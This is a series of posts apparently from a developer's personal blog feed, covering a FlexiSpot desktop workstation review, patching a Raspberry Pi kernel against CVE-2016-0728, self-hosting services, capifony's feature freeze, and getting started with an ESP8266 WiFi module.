been feeling better than ever by working in a standing position.</p>
<p>After having given standing desk a try with cardboard boxes, then with a <a href="/2014/03/17/standing-desk-do-it-yourself/">DIY
standing desk I built</a> (the one I
used for two years), I have been given the opportunity to try the <a href="https://flexispot.com/">FlexiSpot
Desktop Workstation 27ā</a>. In the rest of the article,
the terms āworkstationā, āFlexiSpotā and āstanding-deskā all refer to this
product.</p>
<h2 id="what-is-this-flexispot-thing">What is this FlexiSpot thing?</h2>
<p>The FlexiSpot Desktop Workstation 27 inches is a desktop sit/stand workstation,
meaning that it rests on top of an existing desk and provides adjustable
elevation for monitors and keyboard/mouse. You use it in its lowest position
while seated and then raise it up to a comfortable working height when youāre
standing.</p>
<p>It is smaller than a full standing desk, but also less expensive. It uses gas
springs to change the height of the work surface (that is, the main surface).
The FlexiSpot also has a removable keyboard tray, under the work surface.</p>
<p class="with-caption"><img src="/images/posts/2017/03/flexispot-illustration.webp" alt="An illustration by Loctek describing the FlexiSpot Desktop Workstation" />
<em>Illustration by Loctek describing the FlexiSpot Desktop Workstation</em></p>
<p>Loctek, the company behind this workstation, also sells larger workstations such
as 35ā, 41ā and 47ā versions (depending on your country). In Germany, there are
only two sizes: 27ā and 35ā. The 27ā workstation costs 280 euros (at the time of
writing) and you can buy it on Amazon. That is what I did, and I chose the 27ā
because I didnāt need a large work surface.</p>
<h2 id="assembling-the-workstation">Assembling the workstation</h2>
<p>I chose the version <em>M1B</em> of this FlexiSpot workstation. I guess <em>1</em> stands for
27ā and <em>B</em> stands for black (there is also a white version). I was happy to get
the package delivered by DHL directly to my flat because it was pretty heavy:</p>
<p><img src="/images/posts/2017/03/flexispot_package.webp" alt="A picture of the package I received" /></p>
<p>The product was securely packed with Styrofoam:</p>
<p><img src="/images/posts/2017/03/flexispot_package_2.webp" alt="A picture of the product packed with Styrofoam" /></p>
<p>The package contained the pre-assembled work surface and lifting mechanism, the
keyboard tray and its two support arms, and an instruction manual:</p>
<p><img src="/images/posts/2017/03/flexispot_items.webp" alt="A picture showing all the items contained in the box" /></p>
<p>At first glance, the work surface looks pretty heavy and robust. In my opinion,
its finish is flawless, and after several weeks of use, I can confirm that it is
good. Below is a picture of this work surface (without the keyboard tray) on top
of a good old <a href="http://www.ikea.com/us/en/catalog/products/20011408/">LACK Ikea
table</a>:</p>
<p><img src="/images/posts/2017/03/flexispot_work_surface.webp" alt="The workstation on top of a LACK Ikea table" /></p>
<p>As mentioned in the introduction, this workstation uses gas springs to
counterbalance the weight of the work surface and all the things placed upon it.
On each side, you have one gas spring along with a lever:</p>
<p><img src="/images/posts/2017/03/flexispot_gas.webp" alt="A picture of one of the two gas springs" /></p>
<p>To change the height of the work surface and therefore change your position
(from sitting to standing for instance), you have to pull both levers at the
same time, choose the height that you like, and release both levers. The gas
springs are very smooth. I was a bit skeptical at first because I thought it
could throw all my devices placed on the work surface, but there was no problem.</p>
<p class="with-caption"><img src="/images/posts/2017/03/flexispot_gas_2.webp" alt="A picture of the left side of the workstation, showing the gas sprint and lever" />
<em>Left side of the workstation: gas sprint and lever</em></p>
<p>So far, I only presented the main part of the workstation, but there is also a
keyboard tray that I had to assemble myself. It took me 10 minutes to screw the
support arms to the keyboard tray, and then add it to the main part of the
FlexiSpot:</p>
<p><img src="/images/posts/2017/03/flexispot_kb_tray.webp" alt="A picture of the back of the keyboard tray" /></p>
<p>The keyboard tray has to be mounted under the work surface, secured with four
bolts (2 on each side):</p>
<p><img src="/images/posts/2017/03/flexispot_kb_bolts.webp" alt="A picture of the bolts used to secure the tray on the workstation" /></p>
<p>It took me less than 30 minutes to unpack the product and assemble it (finding a
screwdriver took most of the time š ). I had to ācommandeerā the kitchen table
for the review because we moved to Germany quite recently and we did not have an
office desk.</p>
<h2 id="using-the-workstation">Using the workstation</h2>
<p>Below is a picture of the standing desk in a low position, with an Apple
keyboard, a magic mouse, a 13ā Apple MacBook Pro and a 22ā Samsung monitor.
There is still plenty of space on the work surface:</p>
<p><img src="/images/posts/2017/03/flexispot_assembled.webp" alt="" /></p>
<p>It is important to have enough space to fell comfortable while working in a
standing position, and this workstation makes it easy. If you have a rather
large keyboard, do not worry. There is also a lot of space on the keyboard tray:</p>
<p><img src="/images/posts/2017/03/flexispot_keyboard_tray.webp" alt="" /></p>
<p>Thanks to the gas springs and levers, you can adjust the height of the
workstation without any effort. Yet, what matters the most is to focus on the
height of the keyboard tray. If you take a look at all the <a href="https://www.quora.com/What-is-the-best-position-to-use-a-laptop">recommendations to
use a standing
desk</a>, you
should set the keyboard tray at or slightly below your elbows height:</p>
<p class="with-caption"><img src="/images/posts/2017/03/flexispot_standing_position.webp" alt="A picture of my (right) elbow and the keyboard tray: both are at the same height" />
<em>My (right) elbow and the keyboard tray are at the same height</em></p>
<p>In my case, I had to put a book below the external monitor. This good old
monitor is quite old, and it does not have an adjustable stand. Loctek also
sells a dual monitor mount that is compatible with this workstation by the way.
This could be an interesting add-on because it would let you adjust the height
of the screen(s) when you are in a sitting position too. When I am working in a
sitting position, the keyboard is at the right height but the monitor is a bit
too high, because I am not tallā¦ Removing the book fixes this problem for me.</p>
<p>Now, you may wonder what this weird slot on the work surface is. Its purpose is
to hold a tablet like an Apple iPad mini in the picture below. With my iPad
mini, an significant portion of the screen is hidden in the slot, though. I
donāt use this slot and I would have preferred a plain surface instead.</p>
<p><img src="/images/posts/2017/03/flexispot_ipad.webp" alt="A picture showing an iPad mini inserted in the slot for tablets" /></p>
<p>So far, the painted finish has held up perfectly. It is not glossy, it is not
matte either, it is somewhere in between and I like it! One nice thing is that
it does not highlight fingerprints or dust. The overall quality of the product
is good, especially for this price (less than 300 euros). I find the plastics
quite cheap though. When I moved the standing desk the first time, I slightly
twisted one plastic part. There is no real damage and it is not broken but it is
now slightly deformed š¤·</p>
<p>I am still investigating a minor problem with my workstation: while typing on
the keyboard, I sometimes hear a sort of vibration sound that I am not able to
locate. It isnāt ānoisyā but I can hear it from time to time. Loctek didnāt know
about this problem, though. I guess itās only me then.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I have used this FlexiSpot product for more than a month now, not every single
day but quite a lot to know what I like and what I donāt really like. The
feature I found myself using a lot is switching from sitting to standing and
back again. This is indeed one of the main advantages of such a product!</p>
<p class="with-caption"><img src="/images/posts/2017/03/flexispot_switching_position.webp" alt="A picture showing me switching position by holding the two levers" />
<em>Me, switching position by holding the two levers</em></p>
<p>Personally, I donāt think this workstation is ugly when put on top of a desk but
you may not like it. Also, you cannot put too much weight on the work surface
(~15kg for the 27ā). If I had to choose between a full standing desk and such a
product, I wouldnāt know what to choose. I like the fact that half the surface
of my desk is still available at a regular height (without having to change
anything). Having a full standing desk could be nice too, though.</p>
<p>To conclude, the FlexiSpot Desktop Workstation 27 inches is great, especially if
you are interested in trying to work in a standing position first and you donāt
want to (or cannot) afford a full standing desk. The quality of this product is
good (quite heavy and it seems very robust). I would recommend this product for
those who want to give standing desks a try.</p>
PhD: ✓2016-05-16T00:00:00+00:00https://williamdurand.fr/2016/05/16/phd-check<blockquote>
<p>The more I learn, the more I realize how much I donāt know.</p>
<p><em>Albert Einstein</em></p>
</blockquote>
<p><a href="/2013/01/02/new-year-new-life-new-job/">Three years ago</a>, I
started a PhD. I am happy to let <em>the Internetsā¢</em> know that I successfully
defended it two weeks ago! I can now officially call myself a doctor (LOL).</p>
<p>In case youāre interested or simply curious, you can download the manuscript
here: <a href="/papers/phd-thesis-v2.pdf">Automated Test Generation for production systems with a Model-based
Testing approach</a>. The slides I used for my defense
are below:</p>
<script async="" class="speakerdeck-embed" data-id="b4ba8e7c34514e7b84b5528acc7a26bf" data-ratio="1.41436464088398" src="//speakerdeck.com/assets/embed.js"></script>
Patching the Linux kernel (Raspbian & CVE-2016-0728)2016-01-21T00:00:00+00:00https://williamdurand.fr/2016/01/21/patching-linux-kernel-raspbian<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2016-0728">CVE-2016-0728</a> has been disclosed earlier this week and it is a <a href="https://threatpost.com/serious-linux-kernel-vulnerability-patched/115923/">serious
security issue</a>.
The vulnerability affects most of the Linux kernel versions (3.8 and above).
Although the exploit seems tricky to successfully use, it is still a flaw that
has to be patched ASAP.</p>
<p>I use a few Raspberry Pis for a while now and they all run
<a href="https://www.raspbian.org/">Raspbian</a>, a Debian-based distribution for Raspberry
Pi. I tried to <code class="language-plaintext highlighter-rouge">apt-get update && apt-get (dist-)upgrade</code> one of them but
nothing new was available, <em>i.e.</em> no patched version available.</p>
<p>At the time of writing, there was only <a href="https://github.com/raspberrypi/linux/issues/1264">this single unanswered
issue</a> on the Raspberry Pi
kernel GitHub repository. I looked into the <a href="https://github.com/raspberrypi/linux/blob/d51c7d840b002a6b26089d8b45679d9331880060/security/keys/process_keys.c#L796-L799">Kernel source code</a> and the code
seemed vulnerable to me (according to the patch and what I understood from the
<a href="http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/">report</a>).</p>
<p>I wanted to run a patched kernel version therefore I decided to <a href="https://www.raspberrypi.com/documentation/computers/linux_kernel.html">compile the
Linux kernel</a>. You will find the different steps I followed to build, install
and run a patched Linux kernel below:</p>
<ol>
<li>
<p>First, the <code class="language-plaintext highlighter-rouge">bc</code> package is needed (<code class="language-plaintext highlighter-rouge">apt-get install bc</code>), then the kernel
sources have to be cloned:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git clone --depth=1 https://github.com/raspberrypi/linux
</code></pre></div> </div>
<p>Longest git checkout ever!</p>
</li>
<li>
<p>In order to compile a new kernel version, we have to slighty update its name.
I edited the <code class="language-plaintext highlighter-rouge">EXTRAVERSION</code> variable in the <code class="language-plaintext highlighter-rouge">Makefile</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ head Makefile -n 4
VERSION = 4
PATCHLEVEL = 1
SUBLEVEL = 15
EXTRAVERSION = +will
</code></pre></div> </div>
</li>
<li>
<p>Now letās fetch the <a href="https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/patch/?id=23567fd052a9abb6d67fe8e7a9ccdd9800a540f2">patch</a> for this vulnerability, and apply it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/patch/?id=23567fd052a9abb6d67fe8e7a9ccdd9800a540f2 |Ā patch -p1
</code></pre></div> </div>
</li>
<li>
<p>So far so good. Before compiling the kernel, we have to instruct which kernel
we wish to build, then we can build the related configuration:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export KERNEL=kernel7
$ make bcm2709_defconfig
</code></pre></div> </div>
</li>
<li>
<p>Time to compile the kernel and its modules:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ make -j4 zImage modules dtbs
</code></pre></div> </div>
</li>
<li>
<p>I started to write this blog post while it was still compilingā¦ At some
point, compilation successfully ended. Letās install this brand new kernel:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo make modules_install
$ sudo cp arch/arm/boot/dts/*.dtb /boot/
$ sudo cp arch/arm/boot/dts/overlays/*.dtb* /boot/overlays/
$ sudo cp arch/arm/boot/dts/overlays/README /boot/overlays/
$ sudo scripts/mkknlimg arch/arm/boot/zImage /boot/$KERNEL.img
</code></pre></div> </div>
</li>
<li>
<p>And now, time to try it for real (fingers crossed):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ uname -a
Linux raspberrypi 4.1.15-v7+ #831 SMP Tue Jan 19 18:39:46 GMT 2016 armv7l GNU/Linux
</code></pre></div> </div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo reboot
</code></pre></div> </div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ uname -a
Linux raspberrypi 4.1.15+will-v7+ #1 SMP Thu Jan 21 02:09:58 CET 2016 armv7l GNU/Linux
</code></pre></div> </div>
</li>
</ol>
<p>Achievement unlocked \o/</p>
My life on The Internets: a year later2016-01-16T00:00:00+00:00https://williamdurand.fr/2016/01/16/my-life-on-the-internets-a-year-later<p>Itās been <a href="/2015/01/16/rethinking-my-life-on-the-internets/">a year since I changed the way I deal with my Internet
presence</a>. I would like to share some updates in this article.
In short, I am pretty satisfied with my current setup but a few things could
be improved.</p>
<p>I am more than happy with <a href="https://www.fastmail.com/?STKI=13808765">Fastmail</a> (affiliate link) for emails, calendars
and contacts. It works very well! It has everything I ever needed and the
support team has been amazing! The only missing feature is that, when sending
a calendar invite from my phone or laptop, it uses my Fastmail email address
(<code class="language-plaintext highlighter-rouge">account@fastmail.com</code>) instead of the email with my own domain. This should
be supported soon, though.</p>
<p>I donāt use any Instant Messaging application anymore (I was using Google Talk
before). Instead, I rely on emails and SMS. There is <a href="https://slack.com/">Slack</a>
now too :-) I started to use <a href="https://www.whatsapp.com/">WhatsApp</a>, which is
owned by Facebook now, ugh! Not my best choice but it is a bit like fighting
against Skype with family/friends, it is a tough job.</p>
<p>Another ācomplicated battleā is related to the use of encrypted emails. I still
send more clear text emails than encrypted ones. It is a bit sad but no a huge
surprise, I guess. I donāt think people care enough about privacy and GPG is
complicated. On the same topic, I donāt use <a href="https://ipgmail.com/">iPGMail</a>
on my iPhone anymore.</p>
<p>A few months ago, I bought a <a href="https://www.raspberrypi.org/">Raspberry Pi 2</a> for
my place. I wanted to try self-hosting, <em>i.e.</em> hosting <em>my</em> server and thus
keeping <em>my</em> data and <em>my</em> services at home. I first installed <a href="https://tt-rss.org/">Tiny Tiny
RSS</a>, the best RSS feed reader ever! The feature I love is
the daily email digest. Every morning, I get an email at 8am, offering a few
links to read. Because there is an abstract for each link, I can skip those I am
not interested in so that I do not spend too much time reading.</p>
<p><img src="/images/posts/2016/01/tt-rss.webp" alt="An email sent by Tiny Tiny RSS" /></p>
<p>I am also self-hosting a Pastebin-like called <a href="https://github.com/sebsauvage/ZeroBin">ZeroBin</a> and <a href="https://owncloud.org/">ownCloud</a>.
ownCloud 8 is amazingly stable and fast and it is now possible to replace
Dropbox (or Drive). It can also be used to self-host calendars and contacts.
I donāt want to self-host my emails though. Emails are rather critical and
should not be unavailable for too long.</p>
<p>At work, we chose to use ownCloud to self-host most of our tools, including
files, calendars, and contacts. I may consider moving my personal calendars and
contacts from Fastmail to my ownCloud instance as well. Weāll see. In case you
donāt want to manage your āownā ownCloud, there are countless providers. In
France, I would recommend <a href="https://framadrive.org/">Framadrive</a>.</p>
<p>Last but not least, I keep using <a href="https://www.instapaper.com">Instapaper</a>,
likely the only web application that I am not self-hosting at the moment.
<a href="https://www.wallabag.org/">Wallabag</a> seems more and more what I need, though. I donāt know why I am
still relying on Instapaper instead of Wallabag, maybe because changing habits
is hard?</p>
<p>One more thing by the wayā¦ I did not find any <a href="https://disqus.com/">Disqus</a> alternative yet :-(</p>
Level up2015-09-08T00:00:00+00:00https://williamdurand.fr/2015/09/08/level-up<p>What I have delayed as long as I could finally happened: deciding on what to do
professionally speaking. <em>Yup</em>, it is almost time for me to leave University
after nine years studying tons of different topics. Fortunately, I had the
opportunity to work beside my studies. Also, Open Source gave me some keys to
explore the real world by myself so I knew what a ājobā was. I was just too
scared, and making choices has often been complicated to me.</p>
<p>Three years ago, I thought working for a big (read famous) company in the Bay
was what I wanted the most. I even did some interviews that all went well but
I never joined any company. I received various job proposals from all over the
world and some of them were really interesting but, again, I was not excited
enough. After three years of doing research, I knew that I wasnāt a good fit
for Academia. Consequently, I decided not to pursue this path.</p>
<p>Over the years, I started to care more and more about humans, rights, and
ethical behaviours. I also wanted to become a better version of myself,
byĀ <a href="/2015/01/16/rethinking-my-life-on-the-internets/">rethinking my life on the Internets</a>, reading more,
encouraging sharing and diversity with <a href="https://www.clermontech.org/">Clermontāech</a>,
<a href="/2015/01/31/je-n-ai-rien-a-cacher/">creating projects that target a wider audience than usual</a>, and
even by <a href="https://edu.williamdurand.fr/">giving lectures</a> and <a href="/talks/">talks</a>
all over the world! I also āgrew upā by <a href="/trips/">traveling a lot</a> over the
last three years. Among all my trips, visiting my friend Igor who is currently
living in Berlin has been a revelation: I wanted to live and work in Berlin.</p>
<p>Earlier this year, I thought about working for a non-for-profit organization a
lot: I wanted to work abroad and for a good cause. Organizations such as
<a href="https://www.eff.org/">EFF</a> and <a href="https://en.rsf.org/">RSF</a> caught my attention.
I found positions in Berlin too. At that time, this seemed to be my best (and
also, only viable) plan. But then, @julienmaupetit came to me with a dealā¦</p>
<p>After several months thinking and discussing together, I am extremely happy to
announce that Julien and I are now partners at TailorDev. We want to develop
modern tools to <strong>ease scientific collaboration and promote Open Science Data in
research</strong>. The mission and its strong underlying values align perfectly with my
career goals ā„ ā„ ā„</p>
<p>Being the āCTOā of such a company comes with tons of new exciting challenges and
that is why I chose this opportunity rather than working for an organization (not
saying there are no challenges in non-for-profit orgs here). Creating a startup
has always been something I wanted to try at least once and thatās the right
moment I believe. As both of us are happy to run a <em>remote first</em> company, moving
to Berlin will probably still be possible. This also means that we will be able
to work with people from everywhere ;-)</p>
<p>Right now, we are working hard on <em>artich.io</em>, a <strong>collaborative platform for
scientists</strong>! Researchers reading this blog post, if you are not registered yet,
you should! We are former scientists in bioinformatics and software engineering,
we know how things work in Academia. That is why we put all our energy and skills
to offer you with efficient tools!</p>
<h2 id="tldr">TL;DR</h2>
<p>I chose to start a new adventure at TailorDev. We build <em>artich.io</em>, a platform
for researchers.</p>
[Video] Nobody understands REST but that's OK ;-)2015-06-02T00:00:00+00:00https://williamdurand.fr/2015/06/02/video-nobody-understands-rest<p>Last month, I gave a talk on why nobody understands REST at <a href="https://event.afup.org/phptourluxembourg2015__programme/">PHP Tour Luxembourg
2015</a>. It is not quite right to say ānobodyā understands <em>X</em>, no
matter the topic. The title of this talk is definitely catchy!</p>
<p>The aim of this presentation was to explain how complicated REST was, and
describe why it was impractical in real life (with concrete examples). I also
gave some ideas to build powerful and pragmatic web APIs.</p>
<p>As usual, congratulations to the AFUP team, this event was a blast!</p>
<p>You will find the video of my talk below (in French, sorry):</p>
<div class="video-container">
<center>
<iframe width="560" height="315" src="//www.youtube.com/embed/u_jDzcXCimM" frameborder="0" allowfullscreen=""></iframe>
</center>
</div>
<p></p>
<p>And, here are my slides:</p>
<script async="" class="speakerdeck-embed" data-id="b14006e42cc247cdac1ad58e4cd7994a" data-ratio="1.29456384323641" src="//speakerdeck.com/assets/embed.js"></script>
<p></p>
<p>If you attended my talk and did not rate it yet, please leave a comment on
<a href="https://joind.in/14276">joind.in</a>.</p>
On capifony and its future2015-04-11T00:00:00+00:00https://williamdurand.fr/2015/04/11/on-capifony-and-its-future<blockquote>
<p>Hi! This is your captain speaking.</p>
<p><strong>capifony</strong> is based on <em>Capistrano v2.x</em> and will stick to this version
(i.e. capifony is feature-frozen, and will only accept bug fixes).</p>
<p>At the time of writing, <a href="http://capistranorb.com/"><em>Capistrano v3</em></a> is the
current major version, and <em>capifony is not compatible</em> with it.</p>
<p>Donāt worry, there is a plugin for that! Using <em>Capistrano v3</em> +
<a href="https://github.com/capistrano/symfony"><em>capistrano/symfony</em></a> (heavily
inspired by <em>capifony</em>) may be the way to go for new projects!</p>
<p>Cheers!</p>
</blockquote>
<p>Dear capifony users/friends,</p>
<p>As of yesterday (2015-04-10), this is the message you can read on the <a href="https://github.com/everzet/capifony">capifony
GitHubās page</a>. Indeed, capifony is now
<strong>officially feature-frozen</strong>, and we will <strong>only accept bug fixes</strong>. <strong>This
doesnāt mean it is no longer active</strong>, though.</p>
<p>Over the years, capifony became pretty stable, in part thanks to the addition of
a <a href="https://github.com/everzet/capifony/tree/master/spec">test suite</a>. Even if it
is not perfect, it ensures a certain confidence. Recent bug reports are mostly
edge cases that are tricky to solve and that we should take care of.</p>
<p>Under the hood, capifony leverages Capistrano v2, which is not the latest
version. <a href="https://capistranorb.com/">Capistrano v3</a> has been released in late
2013 and it is the current/latest major version of Capistrano. It has been
entirely rewritten, though, and it obviously breaks backward compatibility.</p>
<p>We <a href="https://github.com/everzet/capifony/pull/437">discussed the creation of capifony
v3</a> but due to various reasons, a
<a href="https://github.com/capistrano/symfony">symfony plugin</a> has been created and the
work on <em>capifony v3</em> did not get merged into capifony. The plugin has been
built from scratch and is what could have been known as <em>capifony v3</em>, <a href="https://github.com/capistrano/symfony/issues/27">without
tests</a> unfortunately. That is
one of the reasons why I did not write this article earlierā¦ But now, it is
time to move forward!</p>
<h3 id="now-what">Now What?</h3>
<ul>
<li>
<p>If you use capifony on an existing project, <strong>no need to upgrade</strong>. It might be
complicated, and you could introduce unwanted bugs. If your deployment process
works for you, no need to change it.</p>
</li>
<li>
<p>If you start a new project, you can use Capistrano v3 and its symfony plugin.
However, since the Capistrano era, <strong>tools and practices evolved a lot</strong>, and
<a href="https://groups.google.com/forum/#!topic/capistrano/nmMaqWR1z84">Capistrano might not be the right tool for
you</a>. I would
recommend to look at alternatives and/or new ways to deploy your applications.</p>
</li>
</ul>
Playing with a ESP8266 WiFi module2015-03-17T00:00:00+00:00https://williamdurand.fr/2015/03/17/playing-with-a-esp8266-wifi-module<p>I started to play with some <a href="https://www.arduino.cc/">Arduino</a>-based technologies after having built my
very own <a href="https://redmine.acolab.fr/projects/yabbas-v1/wiki/YABBAS">Arduino board</a> at <a href="https://acolab.fr/">AcoLab</a><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> a few
weeks ago. Iāve been working on a project to connect a coffee machine to the
Internets. In this article, I introduce the ESP8266 WiFi module, courtesy of
@disk_91, from a āuser perspectiveā.</p>
<p><img src="/images/posts/2015/03/esp8266.jpg" alt="" /></p>
<p>I have a ESP-01 module (ESP8266 being a microchip with its own built-in TCP/IP
stack). It is possible to program and use this module without any other board
but the module isnāt super powerful. In case youāre interested, <a href="https://github.com/nodemcu/nodemcu-firmware">nodemcu</a> is a
lua-based interactive firmware worth taking a look! The alternative approach is
to pair this module with another micro-controller like an Arduino. Thatās how I
want to use this WiFi module in the future.</p>
<p>We can get started with just a computer, though. A <a href="https://en.wikipedia.org/wiki/FTDI">FTDI</a> is needed to connect
the module to it. <em>FTDI</em> is a common name for <strong>USB-to-TTL</strong> (or serial)
converter, FTDI being the company making and selling these products.</p>
<h2 id="wiring">Wiring</h2>
<p>As mentioned previously, I have a ESP-01, which has 8 pins: <code class="language-plaintext highlighter-rouge">VCC</code>, <code class="language-plaintext highlighter-rouge">GND</code>,
<code class="language-plaintext highlighter-rouge">CH_PD</code>, <code class="language-plaintext highlighter-rouge">TX</code>, <code class="language-plaintext highlighter-rouge">RX</code>, <code class="language-plaintext highlighter-rouge">RST</code>, <code class="language-plaintext highlighter-rouge">GPIO0</code>, and <code class="language-plaintext highlighter-rouge">GPIO1</code>. Wiring the module is not
super complicated:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">VCC</code> needs <strong>3.3V</strong></li>
<li><code class="language-plaintext highlighter-rouge">CH_PD</code> has to be pulled-up (meaning it has to be connected to 3.3V as well)</li>
<li><code class="language-plaintext highlighter-rouge">GND</code> is connected to FTDIās <code class="language-plaintext highlighter-rouge">GND</code> pin</li>
<li><code class="language-plaintext highlighter-rouge">RX</code> is connected to FTDIās <code class="language-plaintext highlighter-rouge">TX</code> pin, because we want to create a loop: <code class="language-plaintext highlighter-rouge">RX</code>
-> <code class="language-plaintext highlighter-rouge">TX</code> => <code class="language-plaintext highlighter-rouge">RX</code> -> <code class="language-plaintext highlighter-rouge">TX</code></li>
<li><code class="language-plaintext highlighter-rouge">TX</code> is connected to FTDIās <code class="language-plaintext highlighter-rouge">RX</code> pin</li>
<li>other pins are left floating</li>
</ul>
<p><img src="/images/posts/2015/03/sketch.png" alt="" /></p>
<p>Itās important to use a 3.3V power supply and not 5V. In terms of power
consumption, this module requires more than 200mA. This is also rather important
because a lack of intensity causes various issues (the module gets unstable and
itās annoying to debug).</p>
<p>I read that <code class="language-plaintext highlighter-rouge">CH_PD</code> should be pulled-up with a resistor (from <em>3k</em> to <em>10k</em>
Ohms), however it did not work for me so I connected this pin to <code class="language-plaintext highlighter-rouge">VCC</code> š</p>
<h2 id="talking-to-the-module">Talking to the module</h2>
<p>We can use <code class="language-plaintext highlighter-rouge">screen</code> or any tool that can talk to a serial interface to connect
to the module using an FTDI. This is how I did it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>screen /dev/tty.usbserial-A50285BI 9600
</code></pre></div></div>
<p>Depending on the firmware version, baud rate is different: <code class="language-plaintext highlighter-rouge">9600</code>, <code class="language-plaintext highlighter-rouge">57600</code> or
<code class="language-plaintext highlighter-rouge">115200</code>. This is another thing that can cause communication issues. You should
try different baud rates, it will either work, display gibberish, or simply
failā¦ <code class="language-plaintext highlighter-rouge">115200</code> seems to be the default value.</p>
<p>Once you find the right baud rate, you can send a first <code class="language-plaintext highlighter-rouge">AT</code> comand to the
module. The following command asks the module whether it is up:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AT
</code></pre></div></div>
<p>It should respond with <code class="language-plaintext highlighter-rouge">OK</code>. The <a href="https://github.com/espressif/esp8266_at/wiki/AT_Description">AT command set</a> is quite large, I cover a
few commands in this post but feel free to try them all.</p>
<p>At this point, I could communicate with the module but it wasnāt super stable. I
read that it could be an issue with old firmware (related to the default baud
rate) so I looked into flashing my ESP-01 with a more recent firmware.</p>
<h2 id="upgrading-the-firmware">Upgrading the firmware</h2>
<p>I downloaded the most recent official firmware from <a href="https://github.com/espressif/esp8266_at/tree/master/bin">espressif/esp8266_at</a>. In
order to flash the module, <code class="language-plaintext highlighter-rouge">GPIO0</code> must be pulled-down by wiring its pin to
<code class="language-plaintext highlighter-rouge">GND</code>. After that, <a href="https://github.com/themadinventor/esptool">esptool</a> can be
used:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>esptool.py <span class="nt">-p</span> /dev/tty.usbserial-A50285BI write_flash 0x0000 boot_v1.1.bin <span class="se">\</span>
<span class="go"> 0x01000 user1.bin 0x7C000 esp_init_data_default.bin 0x7E000 blank.bin
</span></code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">boot_v1.1.bin</code>, <code class="language-plaintext highlighter-rouge">esp_init_data_default.bin</code>, and <code class="language-plaintext highlighter-rouge">blank.bin</code> donāt really
change between versions but <code class="language-plaintext highlighter-rouge">user1.bin</code> does! Recent firmware apparently support
<a href="https://www.electrodragon.com/cloud-updating-your-wi07c-esp8266-now/">cloud updates</a>, but I havenāt tried that yet.</p>
<p>In order to change the baud rate, connect to your module and send the
<code class="language-plaintext highlighter-rouge">AT+CIOBAUD</code> command with a value (<code class="language-plaintext highlighter-rouge">57600</code> in this case):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AT+CIOBAUD=57600
</code></pre></div></div>
<p>Now that the communication with the module is OK, letās join an access point.</p>
<h2 id="joining-an-access-point">Joining an access point</h2>
<p>I used <a href="https://github.com/guyz/pyesp8266">pyesp8266</a> to talk to the module and
connect to an Access Point. This tool offers a thin abstraction layer on top of
some more AT commands:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>python esp8266test.py <serial_port> <ssid> <password>
</code></pre></div></div>
<p>A few hints in case something goes wrong:</p>
<ul>
<li>Is the red LED on the module lit? If it is not, the board is not getting
power.</li>
<li>When trying to issue commands, do you see the blue LED on the module blinking?
If not, check the RX/TX connections. If the LED is constantly lit, then one of
the connections is wrong (probably RX/TX).</li>
<li>Are you seeing gibberish? Try a different baud rate. In one of the provided
scripts, run the <code class="language-plaintext highlighter-rouge">AT+CIOBAUD</code> command first (modify the script).</li>
<li>The script gets stuck on the <code class="language-plaintext highlighter-rouge">AT+CWJAP</code> command? Increase the timeout in the
script (default is: <code class="language-plaintext highlighter-rouge">5</code> seconds, mine works better with <code class="language-plaintext highlighter-rouge">10</code>).</li>
</ul>
<h2 id="running-a-tcp-server">Running a TCP server</h2>
<p>As I wrote previously, this module embeds a TCP/IP stack, which allows the
module to open a socket and listen to a given port (among other things). This is
doable by manually sending <code class="language-plaintext highlighter-rouge">AT</code> commands or by using the <code class="language-plaintext highlighter-rouge">esp8266server.py</code>
script (bundled with the <code class="language-plaintext highlighter-rouge">pyesp8266</code> tool).</p>
<p><img src="/images/posts/2015/03/screen.png" alt="" /></p>
<p>This script runs a simple TCP server on port <code class="language-plaintext highlighter-rouge">80</code> by sending the following <code class="language-plaintext highlighter-rouge">AT</code>
commands:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># allow multiple connections
AT+CIPMUX=1
# run a TCP server on port 80
AT+CIPSERVER=1,80
</code></pre></div></div>
<p>The script also sends the <code class="language-plaintext highlighter-rouge">AT+CIFSR</code> to retrieve the IP address. We can use this
IP to connect to the server. In a web browser, we would see the message <code class="language-plaintext highlighter-rouge">GOT
IT!</code> as depicted in the screenshot above.</p>
<h2 id="links">Links</h2>
<p>Because nothing would have been possible without these articles and useful
resources, thanks!</p>
<ul>
<li><a href="http://www.madebymarket.com/blog/dev/getting-started-with-esp8266.html">Getting started with the esp8266 and Arduino</a></li>
<li><a href="http://shin-ajaran.blogspot.fr/2014/12/noobs-guide-to-esp8266-with-arduino.html">noobās guide to ESP8266 with Arduino Mega 2560 or Uno</a></li>
<li><a href="http://www.cse.dmu.ac.uk/~sexton/ESP8266/">ESP8266 Teensy Time</a></li>
<li><a href="http://tomeko.net/other/ESP8266/">ESP8266 WiFi module</a></li>
